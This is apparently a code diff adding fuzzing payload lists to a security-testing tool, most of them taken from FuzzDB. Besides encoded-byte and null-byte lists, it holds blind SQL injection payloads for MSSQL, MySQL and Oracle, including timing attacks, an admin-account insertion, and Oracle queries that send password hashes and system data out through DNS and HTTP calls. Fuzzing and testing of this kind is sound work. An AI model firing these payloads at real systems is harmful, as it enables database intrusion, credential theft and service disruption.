%1d
|
||||
%1e
|
||||
%1f
|
||||
%20
|
||||
%21
|
||||
%22
|
||||
%23
|
||||
%24
|
||||
%25
|
||||
%26
|
||||
%27
|
||||
%28
|
||||
%29
|
||||
%2a
|
||||
%2b
|
||||
%2c
|
||||
%2d
|
||||
%2e
|
||||
%2f
|
||||
%30
|
||||
%31
|
||||
%32
|
||||
%33
|
||||
%34
|
||||
%35
|
||||
%36
|
||||
%37
|
||||
%38
|
||||
%39
|
||||
%3a
|
||||
%3b
|
||||
%3c
|
||||
%3d
|
||||
%3e
|
||||
%3f
|
||||
%40
|
||||
%41
|
||||
%42
|
||||
%43
|
||||
%44
|
||||
%45
|
||||
%46
|
||||
%47
|
||||
%48
|
||||
%49
|
||||
%4a
|
||||
%4b
|
||||
%4c
|
||||
%4d
|
||||
%4e
|
||||
%4f
|
||||
%50
|
||||
%51
|
||||
%52
|
||||
%53
|
||||
%54
|
||||
%55
|
||||
%56
|
||||
%57
|
||||
%58
|
||||
%59
|
||||
%5a
|
||||
%5b
|
||||
%5c
|
||||
%5d
|
||||
%5e
|
||||
%5f
|
||||
%60
|
||||
%61
|
||||
%62
|
||||
%63
|
||||
%64
|
||||
%65
|
||||
%66
|
||||
%67
|
||||
%68
|
||||
%69
|
||||
%6a
|
||||
%6b
|
||||
%6c
|
||||
%6d
|
||||
%6e
|
||||
%6f
|
||||
%70
|
||||
%71
|
||||
%72
|
||||
%73
|
||||
%74
|
||||
%75
|
||||
%76
|
||||
%77
|
||||
%78
|
||||
%79
|
||||
%7a
|
||||
%7b
|
||||
%7c
|
||||
%7d
|
||||
%7e
|
||||
%7f
|
||||
%80
|
||||
%81
|
||||
%82
|
||||
%83
|
||||
%84
|
||||
%85
|
||||
%86
|
||||
%87
|
||||
%88
|
||||
%89
|
||||
%8a
|
||||
%8b
|
||||
%8c
|
||||
%8d
|
||||
%8e
|
||||
%8f
|
||||
%90
|
||||
%91
|
||||
%92
|
||||
%93
|
||||
%94
|
||||
%95
|
||||
%96
|
||||
%97
|
||||
%98
|
||||
%99
|
||||
%9a
|
||||
%9b
|
||||
%9c
|
||||
%9d
|
||||
%9e
|
||||
%9f
|
||||
%a0
|
||||
%a1
|
||||
%a2
|
||||
%a3
|
||||
%a4
|
||||
%a5
|
||||
%a6
|
||||
%a7
|
||||
%a8
|
||||
%a9
|
||||
%aa
|
||||
%ab
|
||||
%ac
|
||||
%ad
|
||||
%ae
|
||||
%af
|
||||
%b0
|
||||
%b1
|
||||
%b2
|
||||
%b3
|
||||
%b4
|
||||
%b5
|
||||
%b6
|
||||
%b7
|
||||
%b8
|
||||
%b9
|
||||
%ba
|
||||
%bb
|
||||
%bc
|
||||
%bd
|
||||
%be
|
||||
%bf
|
||||
%c0
|
||||
%c1
|
||||
%c2
|
||||
%c3
|
||||
%c4
|
||||
%c5
|
||||
%c6
|
||||
%c7
|
||||
%c8
|
||||
%c9
|
||||
%ca
|
||||
%cb
|
||||
%cc
|
||||
%cd
|
||||
%ce
|
||||
%cf
|
||||
%d0
|
||||
%d1
|
||||
%d2
|
||||
%d3
|
||||
%d4
|
||||
%d5
|
||||
%d6
|
||||
%d7
|
||||
%d8
|
||||
%d9
|
||||
%da
|
||||
%db
|
||||
%dc
|
||||
%dd
|
||||
%de
|
||||
%df
|
||||
%e0
|
||||
%e1
|
||||
%e2
|
||||
%e3
|
||||
%e4
|
||||
%e5
|
||||
%e6
|
||||
%e7
|
||||
%e8
|
||||
%e9
|
||||
%ea
|
||||
%eb
|
||||
%ec
|
||||
%ed
|
||||
%ee
|
||||
%ef
|
||||
%f0
|
||||
%f1
|
||||
%f2
|
||||
%f3
|
||||
%f4
|
||||
%f5
|
||||
%f6
|
||||
%f7
|
||||
%f8
|
||||
%f9
|
||||
%fa
|
||||
%fb
|
||||
%fc
|
||||
%fd
|
||||
%fe
|
||||
%ff
|
||||
@@ -0,0 +1,258 @@
|
||||
# Generated
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
!
|
||||
"
|
||||
#
|
||||
$
|
||||
%
|
||||
&
|
||||
'
|
||||
(
|
||||
)
|
||||
*
|
||||
+
|
||||
,
|
||||
-
|
||||
.
|
||||
/
|
||||
0
|
||||
1
|
||||
2
|
||||
3
|
||||
4
|
||||
5
|
||||
6
|
||||
7
|
||||
8
|
||||
9
|
||||
:
|
||||
;
|
||||
<
|
||||
=
|
||||
>
|
||||
?
|
||||
@
|
||||
A
|
||||
B
|
||||
C
|
||||
D
|
||||
E
|
||||
F
|
||||
G
|
||||
H
|
||||
I
|
||||
J
|
||||
K
|
||||
L
|
||||
M
|
||||
N
|
||||
O
|
||||
P
|
||||
Q
|
||||
R
|
||||
S
|
||||
T
|
||||
U
|
||||
V
|
||||
W
|
||||
X
|
||||
Y
|
||||
Z
|
||||
[
|
||||
\
|
||||
]
|
||||
^
|
||||
_
|
||||
`
|
||||
a
|
||||
b
|
||||
c
|
||||
d
|
||||
e
|
||||
f
|
||||
g
|
||||
h
|
||||
i
|
||||
j
|
||||
k
|
||||
l
|
||||
m
|
||||
n
|
||||
o
|
||||
p
|
||||
q
|
||||
r
|
||||
s
|
||||
t
|
||||
u
|
||||
v
|
||||
w
|
||||
x
|
||||
y
|
||||
z
|
||||
{
|
||||
|
|
||||
}
|
||||
~
|
||||
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
<EFBFBD>
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,57 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/control-chars/NullByteRepresentations.txt)
|
||||
%00
|
||||
%00%00
|
||||
\0
|
||||
\0\
|
||||
\00
|
||||
\00\
|
||||
\0\0
|
||||
\0\0\
|
||||
\0\0
|
||||
\00\00\
|
||||
\000
|
||||
\000\
|
||||
\0000
|
||||
\0000\
|
||||
\x00
|
||||
\x00\
|
||||
\x00\x00
|
||||
\x00\x00\
|
||||
\x0000
|
||||
\x0000\
|
||||
\x00000000
|
||||
\x00000000\
|
||||
\u0000
|
||||
\u0000\
|
||||
\u00000000
|
||||
\u00000000\
|
||||
\u0000\u0000
|
||||
\u0000\u0000\
|
||||
\z
|
||||
\z\
|
||||
NUL
|
||||
NULL
|
||||
nul
|
||||
null
|
||||
FALSE
|
||||
false
|
||||
0x00
|
||||
0x0000
|
||||
0x00000000
|
||||
�
|
||||
�
|
||||
"\u0000"
|
||||
u"\u0000"
|
||||
0
|
||||
00
|
||||
0000
|
||||
00000000
|
||||
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
|
||||
%C0%80
|
||||
%E0%80%80
|
||||
%F0%80%80%80
|
||||
%F8%80%80%80%80
|
||||
%FC%80%80%80%80%80
|
||||
%FE%80%80%80%80%80%80
|
||||
|
||||
<EFBFBD>
|
||||
@@ -0,0 +1,33 @@
|
||||
.
|
||||
,
|
||||
+
|
||||
-
|
||||
_
|
||||
;
|
||||
/
|
||||
|
|
||||
#
|
||||
<
|
||||
>
|
||||
?
|
||||
!
|
||||
\
|
||||
"
|
||||
'
|
||||
`
|
||||
*
|
||||
(
|
||||
)
|
||||
[
|
||||
]
|
||||
{
|
||||
}
|
||||
^
|
||||
~
|
||||
=
|
||||
@
|
||||
$
|
||||
&
|
||||
:
|
||||
%
|
||||
|
||||
34
fuzzer/src/payloads/lists/sql-injection/generic-blind.txt
Normal file
34
fuzzer/src/payloads/lists/sql-injection/generic-blind.txt
Normal file
@@ -0,0 +1,34 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/GenericBlind.txt)
|
||||
|
||||
sleep(200000)
|
||||
sleep(200000)#
|
||||
1 or sleep(200000)#
|
||||
" or sleep(200000)#
|
||||
' or sleep(200000)#
|
||||
" or sleep(200000)="
|
||||
' or sleep(200000)='
|
||||
1) or sleep(200000)#
|
||||
") or sleep(200000)="
|
||||
') or sleep(200000)='
|
||||
1)) or sleep(200000)#
|
||||
")) or sleep(200000)="
|
||||
')) or sleep(200000)='
|
||||
;waitfor delay '0:0:200000'--
|
||||
);waitfor delay '0:0:200000'--
|
||||
';waitfor delay '0:0:200000'--
|
||||
";waitfor delay '0:0:200000'--
|
||||
');waitfor delay '0:0:200000'--
|
||||
");waitfor delay '0:0:200000'--
|
||||
));waitfor delay '0:0:200000'--
|
||||
'));waitfor delay '0:0:200000'--
|
||||
"));waitfor delay '0:0:200000'--
|
||||
benchmark(1000000000,MD5(1))#
|
||||
1 or benchmark(1000000000,MD5(1))#
|
||||
" or benchmark(1000000000,MD5(1))#
|
||||
' or benchmark(1000000000,MD5(1))#
|
||||
1) or benchmark(1000000000,MD5(1))#
|
||||
") or benchmark(1000000000,MD5(1))#
|
||||
') or benchmark(1000000000,MD5(1))#
|
||||
1)) or benchmark(1000000000,MD5(1))#
|
||||
")) or benchmark(1000000000,MD5(1))#
|
||||
')) or benchmark(1000000000,MD5(1))#
|
||||
52
fuzzer/src/payloads/lists/sql-injection/mssql-blind.txt
Normal file
52
fuzzer/src/payloads/lists/sql-injection/mssql-blind.txt
Normal file
@@ -0,0 +1,52 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-sql-blind)
|
||||
# Origin source: http://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/
|
||||
|
||||
'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:200000' --
|
||||
'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:200000' --
|
||||
'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:200000' --
|
||||
'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:200000' --
|
||||
'; if not(select system_user) <> 'sa' waitfor delay '0:0:200000' --
|
||||
'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:200000' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:200000' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:200000' --
|
||||
|
||||
waitfor delay '0:0:200000' /*
|
||||
waitfor delay '0:0:200000' --
|
||||
' waitfor delay '0:0:200000' /*
|
||||
' waitfor delay '0:0:200000' --
|
||||
" waitfor delay '0:0:200000' /*
|
||||
" waitfor delay '0:0:200000' --
|
||||
) waitfor delay '0:0:200000' /*
|
||||
) waitfor delay '0:0:200000' --
|
||||
)) waitfor delay '0:0:200000' /*
|
||||
)) waitfor delay '0:0:200000' --
|
||||
))) waitfor delay '0:0:200000' /*
|
||||
))) waitfor delay '0:0:200000' --
|
||||
)))) waitfor delay '0:0:200000' /*
|
||||
)))) waitfor delay '0:0:200000' --
|
||||
))))) waitfor delay '0:0:200000' --
|
||||
)))))) waitfor delay '0:0:200000' --
|
||||
') waitfor delay '0:0:200000' /*
|
||||
') waitfor delay '0:0:200000' --
|
||||
") waitfor delay '0:0:200000' /*
|
||||
") waitfor delay '0:0:200000' --
|
||||
')) waitfor delay '0:0:200000' /*
|
||||
')) waitfor delay '0:0:200000' --
|
||||
")) waitfor delay '0:0:200000' /*
|
||||
")) waitfor delay '0:0:200000' --
|
||||
'))) waitfor delay '0:0:200000' /*
|
||||
'))) waitfor delay '0:0:200000' --
|
||||
"))) waitfor delay '0:0:200000' /*
|
||||
"))) waitfor delay '0:0:200000' --
|
||||
')))) waitfor delay '0:0:200000' /*
|
||||
')))) waitfor delay '0:0:200000' --
|
||||
")))) waitfor delay '0:0:200000' /*
|
||||
")))) waitfor delay '0:0:200000' --
|
||||
'))))) waitfor delay '0:0:200000' /*
|
||||
'))))) waitfor delay '0:0:200000' --
|
||||
"))))) waitfor delay '0:0:200000' /*
|
||||
"))))) waitfor delay '0:0:200000' --
|
||||
')))))) waitfor delay '0:0:200000' /*
|
||||
')))))) waitfor delay '0:0:200000' --
|
||||
")))))) waitfor delay '0:0:200000' /*
|
||||
")))))) waitfor delay '0:0:200000' --
|
||||
22
fuzzer/src/payloads/lists/sql-injection/mysql-blind.txt
Normal file
22
fuzzer/src/payloads/lists/sql-injection/mysql-blind.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-sql-blind)
|
||||
# Origin source: http://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/
|
||||
|
||||
1
|
||||
1 and user_name() = 'dbo'
|
||||
\'; desc users; --
|
||||
1\'1
|
||||
1' and non_existant_table = '1
|
||||
' or username is not NULL or username = '
|
||||
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
|
||||
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
|
||||
1 uni/**/on select all from where
|
||||
|
||||
1'1
|
||||
1 exec sp_ (or exec xp_)
|
||||
1 and 1=1
|
||||
1' and 1=(select count(*) from tablenames); --
|
||||
1 or 1=1
|
||||
1' or '1'='1
|
||||
1or1=1
|
||||
1'or'1'='1
|
||||
fake@ema'or'il.nl'='il.nl
|
||||
58
fuzzer/src/payloads/lists/sql-injection/oracle-blind.txt
Normal file
58
fuzzer/src/payloads/lists/sql-injection/oracle-blind.txt
Normal file
@@ -0,0 +1,58 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-sql-blind)
|
||||
# Origin source: http://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/
|
||||
|
||||
’ or ‘1’=’1
|
||||
' or '1'='1
|
||||
'||utl_http.request('httP://192.168.1.1/')||'
|
||||
' || myappadmin.adduser('admin', 'newpass') || '
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
|
||||
|
||||
12
fuzzer/src/payloads/lists/sql-injection/postgre-blind.txt
Normal file
12
fuzzer/src/payloads/lists/sql-injection/postgre-blind.txt
Normal file
@@ -0,0 +1,12 @@
